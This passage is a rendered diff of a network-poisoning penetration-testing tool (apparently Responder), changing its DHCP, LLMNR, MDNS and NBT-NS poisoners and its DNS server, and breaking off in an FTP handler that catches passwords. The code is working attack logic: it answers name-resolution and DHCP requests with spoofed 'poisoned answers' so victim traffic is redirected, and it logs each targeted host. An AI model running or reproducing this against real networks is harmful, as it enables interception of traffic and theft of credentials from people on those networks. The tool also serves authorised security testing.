return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
@ -273,37 +258,12 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS) Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
DHCPClient.append(MacAddrStr) DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data) IP = FindIP(data)
@ -312,16 +272,11 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS) Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
DHCPClient.append(MacAddrStr) DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
def SendDiscover(): def SendDiscover():
@ -339,7 +294,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host) s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP(DHCP_DNS): def DHCP():
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800)) s.bind((Interface, 0x0800))
SendDiscover() SendDiscover()
@ -349,6 +304,6 @@ def DHCP(DHCP_DNS):
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30]) ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) ret = ParseDHCPCode(data[0][42:], ClientIP)
if ret and not settings.Config.Quiet_Mode: if ret:
print(text("[*] [DHCP] %s" % ret)) print(text("[*] [DHCP] %s" % ret))

73
poisoners/LLMNR.py Executable file → Normal file
View file

@ -14,7 +14,9 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import LLMNR_Ans, LLMNR6_Ans
import fingerprint
from packets import LLMNR_Ans
from utils import * from utils import *
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
@ -22,8 +24,8 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
import codecs import codecs
@ -40,11 +42,11 @@ def IsICMPRedirectPlausible(IP):
for line in file: for line in file:
ip = line.split() ip = line.split()
if len(ip) < 2: if len(ip) < 2:
continue continue
elif ip[0] == 'nameserver': elif ip[0] == 'nameserver':
dnsip.extend(ip[1:]) dnsip.extend(ip[1:])
for x in dnsip: for x in dnsip:
if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
@ -58,68 +60,37 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try: try:
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1") Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
#IPv4 if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
if data[2:4] == b'\x00\x00' and LLMNRType: Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode
elif LLMNRType == True: # Poisoning Mode Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]"
LineHeader = "[*] [LLMNR]" print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None:
elif LLMNRType == 'IPv6' and Have_IPv6: print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
#Default: print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except: except:
pass raise

89
poisoners/MDNS.py Executable file → Normal file
View file

@ -20,12 +20,9 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MDNS_Ans, MDNS6_Ans from packets import MDNS_Ans
from utils import * from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
try: try:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
@ -35,14 +32,14 @@ def Parse_MDNS_Name(data):
NameLen_ = data[1+NameLen] NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_ FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1").replace("\x05","") return FinalName.decode("latin-1")
else: else:
data = NetworkRecvBufferPython2or3(data[12:]) data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0] NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen] Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0] NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_.replace("\x05","") return Name+'.'+Name_
except IndexError: except IndexError:
return None return None
@ -54,57 +51,37 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
try: MADDR = "224.0.0.251"
data, soc = self.request MPORT = 5353
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode data, soc = self.request
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) Request_Name = Parse_MDNS_Name(data)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode # Break out if we don't want to respond to this host
Poisoned_Name = Poisoned_MDNS_Name(data) if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
#Use default: return None
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) if settings.Config.AnalyzeMode: # Analyze Mode
else: if Parse_IPV6_Addr(data):
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL) print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS6', 'Poisoner': 'MDNS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Request_Name, 'ForName': Request_Name,
'AnalyzeMode': '0', 'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
}) })
except:
raise

68
poisoners/NBTNS.py Executable file → Normal file
View file

@ -14,6 +14,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys import sys
from packets import NBT_Ans from packets import NBT_Ans
from utils import * from utils import *
@ -23,42 +24,59 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class. # NBT_NS Server class.
class NBTNS(BaseRequestHandler): class NBTNS(BaseRequestHandler):
def handle(self): def handle(self):
try:
data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None
if data[2:4] == b'\x01\x10': data, socket = self.request
if settings.Config.AnalyzeMode: # Analyze Mode Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) # Break out if we don't want to respond to this host
SavePoisonersToDb({ if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode else: # Poisoning Mode
if settings.Config.TTL == None: Buffer1 = NBT_Ans()
Buffer1 = NBT_Ans() Buffer1.calculate(data)
else: socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
Buffer1 = NBT_Ans(TTL=settings.Config.TTL) LineHeader = "[*] [NBT-NS]"
Buffer1.calculate(data) print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) SavePoisonersToDb({
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
except:
raise
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

View file

@ -1,2 +0,0 @@
aioquic
netifaces>=0.10.4

View file

@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48]) Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain))) print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
RAPInfo = RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None: if RAPInfo is not None:
print(RAPInfo) print(RAPInfo)
@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2))) print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
RAPInfo = RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None: if RAPInfo is not None:
print(RAPInfo) print(RAPInfo)

73
servers/DNS.py Executable file → Normal file
View file

@ -15,27 +15,19 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT from packets import DNS_Ans, DNS_SRV_Ans
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer. # If Type A, Class IN, then answer.
elif QueryTypeClass == "\x00\x01\x00\x01": if QueryTypeClass == "\x00\x01\x00\x01":
return "A" return "A"
elif QueryTypeClass == "\x00\x21\x00\x01": if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV" return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@ -47,41 +39,19 @@ class DNS(BaseRequestHandler):
try: try:
data, soc = self.request data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans() buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception: except Exception:
pass pass
@ -95,40 +65,19 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans() buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception: except Exception:
pass pass

3
servers/FTP.py Executable file → Normal file
View file

@ -37,8 +37,10 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS': if data[0:4] == b'PASS':
